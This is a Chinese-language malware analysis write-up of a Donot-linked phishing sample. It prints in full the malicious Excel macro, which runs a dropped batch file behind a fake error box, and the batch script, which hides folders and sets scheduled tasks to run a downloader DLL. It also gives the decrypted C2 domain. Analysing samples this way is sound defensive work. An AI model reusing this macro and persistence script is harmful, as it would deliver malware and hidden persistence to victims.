0x00 背景

情报来源于Twitter,在首页看到了如下信息:
image.png

但是Twitter上提到的hash在vt上并没有相应的样本
image.png

于是在评论中,找到了原始的md5:
image.png

原始样本hash为:4428912f168f3f1f0554126de7b4eced,通过app.any.run下载到本地。
image.png

0x01 原始样本分析

原始样本是一个带密码保护的宏代码利用xls文档,启用宏之后,会弹框提示运行错误,但其实恶意代码已经在后台运行完成。

将宏代码的保护密码通过工具去除之后,可以看到宏代码如下:
image.png

  1. Sub Workbook_Open()
  2. Dim digit
  3. Dim Digital As String
  4. Dim request As String
  5. Digital = Environ$("APPDATA")
  6. request = Environ$("TEMP")
  7. Application.Wait Now + TimeValue("0:00:03")
  8. a = MsgBox("Microsoft Excel has stopped working", vbCritical, "Warning")
  9. sunjava = "Scr" + "ipting.File" + "System" + "Object"
  10. Set digit = CreateObject(sunjava)
  11. Sheet12.OLEObjects("Object 1").Copy
  12. Sheet8.OLEObjects("Object 1").Copy
  13. digit.CopyFile request & "\Vol", Digital & "\s.bat" 'FileFormat:=xlOpenXMLWorkbook
  14. digit.CopyFile request & "\s", Digital & "\s" 'FileFormat:=xlOpenXMLWorkbook
  15. https = Digital & "\" & "s.bat"
  16. Call Shell(https, vbHide)
  17. End Sub

通过VBA代码,我们可以得知,该段代码首先会获取%appdata%和%temp%的环境变量,猜测后续会释放文件到这两个路径下。
接着程序会通过MsgBox弹出我们之前看到的对话框用于迷惑用户。
接着创建一个Scripting.FileSystemObject对象,以执行后面从工作簿中读取的出来的s.bat文件
最后通过call Shell的方式执行s.bat
image.png

我们查看一下s.bat的内容:

  1. echo off
  2. md %USERPROFILE%\Inet\Logs\Cust
  3. md %USERPROFILE%\Inet\Logs\Pool
  4. md %USERPROFILE%\Common\Build\Office
  5. md %USERPROFILE%\Files\Shared\Web
  6. md %USERPROFILE%\Viewer\Information\Policy
  7. attrib +a +h +s %USERPROFILE%\Inet
  8. attrib +a +h +s %USERPROFILE%\Common
  9. attrib +a +h +s %USERPROFILE%\Files
  10. attrib +a +h +s %USERPROFILE%\Viewer
  11. del /f %USERPROFILE%\Inet\Logs\Pool\agnia
  12. SET /A %COMPUTERNAME%
  13. SET /A RAND=%RANDOM% 10000 + 2
  14. echo %COMPUTERNAME%-%RAND% >> %USERPROFILE%\Inet\Logs\Pool\agnia
  15. schtasks /delete /tn Feed /f
  16. schtasks /delete /tn Sys_Core /f
  17. schtasks /create /sc minute /mo 10 /f /tn Sys_Core /tr %USERPROFILE%\Files\Shared\Web\gapdat.exe
  18. schtasks /create /sc minute /mo 30 /f /tn Feed /tr "rundll32.exe '%USERPROFILE%\Viewer\Information\Policy\sqmap.dll', calldll"
  19. move %AppData%\s %USERPROFILE%\Viewer\Information\Policy
  20. ren %USERPROFILE%\Viewer\Information\Policy\s sqmap.dll
  21. del %0

通过bat的内容,我们可以得知程序获取了计算机的COMPUTERNAME和一个随机值写入到了%USERPROFILE%\Inet\Logs\Pool\agnia,然后程序设置了两个计划任务,并且将%appdata%下的s文件移动到了%USERPROFILE%\Viewer\Information\Policy\s并重命名为sqmap.dll

计划任务1:
image.png

计划任务2:
image.png

我们查看计划任务1所指定的目录文件可以发现暂时是0kb
image.png

我们查看计划任务2所指定的任务,可以看到文件已经成功移动过来:
image.png

通过hash查询可以确定是同一个文件:
image.png

且我们通过计划任务2可以得知,这里是通过rundll32.exe 调用了这个名为sqlmap.dll的calldll方法。

目前vt上关于sqlmap.dll检出量为0:
image.png

我们通过IDA加载sqlmap.dll 找到calldll方法。

0x02 sqlmap.dll分析

加载sqlmap.dll,我们可以得到PDB信息:C:\Users\spartan\Documents\Visual Studio 2010\new projects\frontend\Release\test.pdb

该pdb以前未出现过,而且结合test.pdb的字眼,该样本可能是攻击者开发的测试版本。
image.png

calldll在导出表中
image.png

calldll函数体很简单,就执行来一个call sub_10001280 我们跟进到该函数。
image.png

sub_10001280 首先是通过strcpy复制了一个看起来像是加密字符串的东西到变量
bbLorkybbYngxkjbb]khbbmgvjgz4k~k
image.png

该字符串暂时在Google上没有检出:
image.png

回到代码中,接下来程序会对上面的字符串进行解密:
image.png

调试器中直接在calldll函数这里设置eip然后运行:
image.png

F7跟进进来
image.png

成功解密之后发现就是先前看到的路径
image.png

回到IDA中进行标注后继续往下看,成功解密之后,尝试打开文件对象,打开失败,则push16A26h然后执行slepp,sleep之后调用sub_10001000,这里的sleep应该是用于反沙箱的
image.png

sub_10001000的内容非常明显,是解密URL并请求,所以很明显,sqlmap.dll是一个Download,比较直观的C伪代码显示:
image.png

根据之前看到的信息,可以猜测这里是解密了域名之后,下载文件保存到之前看到大小为0kb的路径下,然后通过计划任务持久化执行。

解密得到
dnsresolve.live
image.png

该地址已经跟donot关联了起来
image.png

解析参数是
image.png

但是目前这个地址404了,不知道是不是我请求姿势的问题。
image.png

于是查询了一下h6s87ehsci75sgats关键字:
image.png
发现沙箱和vt也是404 ,这里后续就断了
image.png
image.png

加上header也是404
image.png

那么此次攻击分析到这类就没有后续了,不知道是不是因为样本曝光,攻击者撤销了后续下载样本的原因。还是攻击者已经通过bat文件实现了本地持久化,所以故意暂时没有开放目标地址,防止分析人员,等热度过去了之后,再放开这个地址。如果是后面这种情况,可以考虑写脚本监视这个地址,看看过段时间是否有返回。